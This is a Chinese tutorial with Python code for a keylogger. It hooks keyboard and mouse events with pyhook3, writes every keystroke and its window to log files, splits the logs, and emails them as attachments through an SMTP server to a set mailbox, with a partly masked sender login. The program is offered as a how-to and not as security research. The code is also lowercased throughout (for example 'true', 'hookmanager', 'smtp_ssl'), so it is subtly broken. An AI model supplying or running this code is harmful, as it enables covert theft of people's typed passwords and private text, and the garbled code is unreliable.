Python监听键盘和鼠标事件,并发送内容至邮箱!
一. 环境以及工具
环境:win10,python3.6
工具:jetbrains pycharm 2018.1.4
二. 使用的第三方库:
import os import smtplib #发送邮件 import time import threading import email复制代码
下面这三个库主要用来监听:
import pyhook3 import pythoncom from past.builtins import xrange复制代码
若环境没有自带以上第三方库,可以参照如下图示方法导入,或者自行谷歌
三. 实现监听键盘、鼠标动作
使用pyhook3、pythoncom库监听键盘、鼠标事件
# 创建监听对象 manager = pyhook3.hookmanager() # 监听所有键盘事件 manager.keydown = on_keyboard_event # 设置键盘监听 manager.hookkeyboard() # 循环监听, 若不手动关闭, 程序将一直处于监听状态 pythoncom.pumpmessages()复制代码
on_keyboard_event是用来打印监听信息的函数
def on_keyboard_event(event): """ 监听键盘事件 :param event: :return: 同鼠标监听事件的返回值 """ print('================== start listening keyboard ====================') print('messagename: ', event.messagename) print('message: ', event.message) print('time: ', event.time) print('window: ', event.window) print('ascii: ', event.ascii, chr(event.ascii)) print('key: ', event.key) print('keyid: ', event.keyid) print('scancode: ', event.scancode) print('extended: ', event.extended) print('injected: ', event.injected) print('alt: ', event.alt) print('transition: ', event.transition) print('================== start listening keyboard ====================') return true复制代码
返回“true”,用于持续监听,监听鼠标的实现与监听键盘类似。
四. 将监听信息写入文件
将打印在控制台的监听键盘信息写入到当前目录的txt文件中
def on_keyboard_event(event): """ 将监听的键盘信息写入文件 :param event: :return: """ with open('./keyboard.txt', 'a+') as f: f.write( '事件: ' + event.messagename + ', 时间: ' + format_time() + ', 窗口信息: ' + str(event.window) + ', 键值: ' + event.key + ', 键id: ' + str(event.keyid) + '\r\n') return true复制代码
五. 分割监听信息文件
按照文件内容分割,而不是按照文件大小。因为按照文件大小分割时,部分相连的内容将会被分割到两个文件中。
def split_file(self): """ 按照内容行数分割 :return: """ with open(self.filename + '.txt', 'r') as f: global index while 1: index += 1 try: with open(self.filename + '_%d.txt' % index, 'w') as temp: for _ in xrange(self.size): temp.write(f.__next__()) except stopiteration: break def timer_split_file(self): """ 超过指定行数则分割 :return: """ with open(self.filename + '.txt', 'r') as f: lines = f.readlines() if lines.__len__() > self.size: self.split_file()复制代码
六. 将监听信息发送到指定邮箱
利用邮箱相互发送邮件的方式发送监听信息,所以必须开启发送者邮箱的pop3/smtp服务。监听信息文件以附件的形式发送。若开启了pop3/smtp服务,而接受者没有看到邮件,可能邮件在接受者邮箱的垃圾箱中。
@staticmethod def send_email(): host = 'smtp.163.com' # 设置邮件服务器 user = 'svip*****@163.com' # 发送者 password = 'smt*****1' # 客户端授权密码 sender = 'svip******@163.com' # 匿名发送 receiver = ['1341****1@qq.com'] # 接收邮件 # 构造邮件对象 msg = mimemultipart('alternative') msg['from'] = sender msg['to'] = ";".join(receiver) msg['subject'] = header('have a nice day,how are you?', 'utf-8') msg['message-id'] = make_msgid() msg['date'] = formatdate() message = mimetext('this is today content', 'plain', 'utf-8') msg.attach(message) # 构造附件对象,发送鼠标监听信息 if index != 0: for num in range(1, index + 1): mouse_file_name = './mouse_' + str(num) + '.txt' mouse_file = open(mouse_file_name, 'rb').read() mouse_send = mimetext(mouse_file, 'base64', 'utf-8') mouse_send['content-type'] = 'application/octet-stream' mouse_send['content-disposition'] = 'attachment;filename=' + mouse_file_name msg.attach(mouse_send) # 发送键盘监听信息 key_file = open('./keyboard.txt', 'rb').read() key_send = mimetext(key_file, 'base64', 'utf-8') key_send['content-type'] = 'application/octet-stream' key_send['content-disposition'] = 'attachment;filename=keyboard.txt' msg.attach(key_send) # 发送邮件 try: mail = smtplib.smtp_ssl(host, 465) mail.login(user, password) mail.sendmail(sender, receiver, msg.as_string()) mail.quit() except smtplib.smtpexception: # 异常信息不捕获 pass复制代码
七. bug and solve
warning 01:
this inspection detects any methods which may safely be made static.
solution 01:
在方法上面加: @staticmethod
error 02:
typeerror: main() missing 1 required positional argument: 'self'
solution 02:
先实例化类, 再使用类
e.g.
listening = listening()
listening.main()
error 03:
typeerror: 'float' object is not callable
solution 03:
变量名与方法名冲突,或者与关键字冲突
error 04:
email.errors.multipartconversionerror:cannot attach additional subparts to non-multipart/*
solution 04:
没有创建带附件的实例
e.g.
msg = mimemultipart('mixed')
error 05:
使用smtp.qq.com发送邮件时:connection unexpectedly closed
solution 05:
发送者邮箱没有开启pop3/smtp服务
e.g.
error 06:
smtplib.smtpheloerror: (500, b'error: bad syntax')
上一篇: 通过PHP实现用户注册后邮箱验证激活